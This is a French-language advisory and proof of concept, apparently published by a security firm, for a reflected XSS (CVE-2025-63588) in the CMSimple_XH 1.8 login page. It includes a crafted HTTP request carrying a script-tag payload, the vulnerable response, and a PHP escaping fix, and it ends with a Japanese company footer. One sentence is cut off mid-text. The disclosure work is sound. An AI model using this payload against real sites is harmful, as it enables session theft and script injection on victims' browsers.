
Preuve de concept détaillée pour CVE-2025-63588, une vulnérabilité XSS reflétée dans CMSimple_XH 1.8, avec score CVSS, analyse d'impact et exemple de correction de code sécurisé.
CVSS v3.1 estimé : AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N → 6.1 (Moyen)
CVE attribué : CVE-2025-63588
Produits : CMSimple_XH - 1.8
Éditeur : CMSimple_XH - https://www.cmsimple-xh.org/
Une vulnérabilité de Cross-Site Scripting (XSS) réfléchi existe dans le code du routeur frontal de CMSimple_XH qui gère les entrées dynamiques liées à la connexion. L'application reflète directement dans le HTML généré (par exemple dans les attributs action de formulaires et les href de liens) les données contrôlées par l'attaquant extraites de l'URI de la requête, sans encodage de sortie approprié. Un attaquant peut créer une URL qui, lorsqu'elle est visitée par une victime, provoque l'exécution de JavaScript arbitraire dans le navigateur de la victime dans le contexte du site vulnérable.
Il s'agit d'un XSS réfléchi (non persistant) ; l'exploitation nécessite que la victime suive un lien spécialement conçu. L'éditeur a été informé et le problème a été documenté et s'est vu attribuer le CVE ci-dessus.
HttpOnly, les jetons de session peuvent être volés.La vulnérabilité provient du routeur frontal / du code de index.php (ou du contrôleur frontal équivalent) qui analyse les segments de chemin dynamiques et les mappe dans des variables de page/modèle. Des fragments de chemin bruts (le fragment de style ?Templates... utilisé par le routeur de CMSimple_XH) sont transmis aux modèles de page et injectés dans les attributs HTML sans encodage ni échappement approprié des attributs HTML, permettant aux balises <script> injectées ou à d'autres charges utiles d'être rendues textuellement. Des problèmes similaires de XSS réfléchi ont été publiés pour d'autres composants Web et sont généralement causés par un encodage de sortie incorrect des entrées non fiables.
Cette PoC démontre le reflet de l'entrée fournie par l'attaquant dans le HTML renvoyé, qui s'exécutera dans le navigateur de la victime.
Requête :
POST /cmsimplexh/?Templatesx6l81"><script>alert(1)</script>y92q9 HTTP/1.1
Host: 192.168.98.129:8080
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0
Origin: http://192.168.98.129:8080
Upgrade-Insecure-Requests: 1
Referer: http://192.168.98.129:8080/cmsimplexh/?Templates&login
Content-Type: application/x-www-form-urlencoded
Sec-CH-UA: "Chromium";v="138", "Not;A=Brand";v="24", "Google Chrome";v="138"
Sec-CH-UA-Platform: "Windows"
Sec-CH-UA-Mobile: ?0
Content-Length: 45
login=true&keycut=z9U%21q2k%21F0&submit=Login
Réponse :
HTTP/1.1 200 OK
Host: 192.168.98.129:8080
Date: Mon, 06 Oct 2025 02:50:49 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: XH_2f636d73696d706c6578682f=v7hkld81biddtmoua1maptd18a; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Language: en
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html;charset=UTF-8">
<title>English Site Title – Login</title>
<meta name="robots" content="noindex">
<meta name="keywords" content="Enter list of comma separated keywords here">
<meta name="description" content="Enter website description for search engine results here">
<link rel="stylesheet" href="./assets/css/xhstyles.css" type="text/css">
<link rel="stylesheet" href="./templates/fhs-simple-2019/stylesheet.css" type="text/css">
<meta name="robots" content="noindex">
</head>
<body class="xh_login" onload="document.forms['login'].elements['keycut'].focus();">
<div class="xh_login"><h1>Login</h1><p class="xh_fail">You have entered a wrong password!</p><p><b>Site administration. Please enter password.</b></p><form id="login" name="login" action="/cmsimplexh/?Templatesx6l81"><script>alert(1)</script>y92q9" method="post"><input type="hidden" name="login" value="true"><input type="password" name="keycut" id="passwd" value=""> <input type="submit" name="submit" id="submit" value="Login"></form><p><a href="https://github.com/cybercrewinc/cve-2025-63588/blob/main/cmsimplexh?Templatesx6l81"><script>alert(1)</script>y92q9">Back</a></p> </div></body>
</html>
Lorsque le navigateur de la victime affiche cette page, la balise <script>alert(1)</script> injectée s'exécute.

$action_url = '/cmsimplexh/?' . rawurlencode($template_token);
echo '<form action="' . htmlspecialchars($action_url, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') . '" method="post">';
ご質問・ご相談などございましたら、お気軽にご連絡ください。

📞 Tel : 03-6853-5823 📧 Mail : [email protected]
| 項目 | 内容 |
|---|---|
| 会社名 | 株式会社CyberCrew |
| 所在地 | 東京都千代田区外神田1-18-13 秋葉原ダイビル6階 |
組織の脆弱性を多角的に分析し、最適な改善策を提案します。
標的型・シナリオ型・LLMペンテスト まで対応。
機密情報の流出を早期に検知し、迅速に対応。
実践的な攻撃シナリオに基づく防御力評価を実施。
開発初期段階からセキュリティを考慮した設計を支援します。
🌐 公式サイト : https://www.cybercrew.co.jp 🕒 CyberCrew — Your Trusted Security Partner.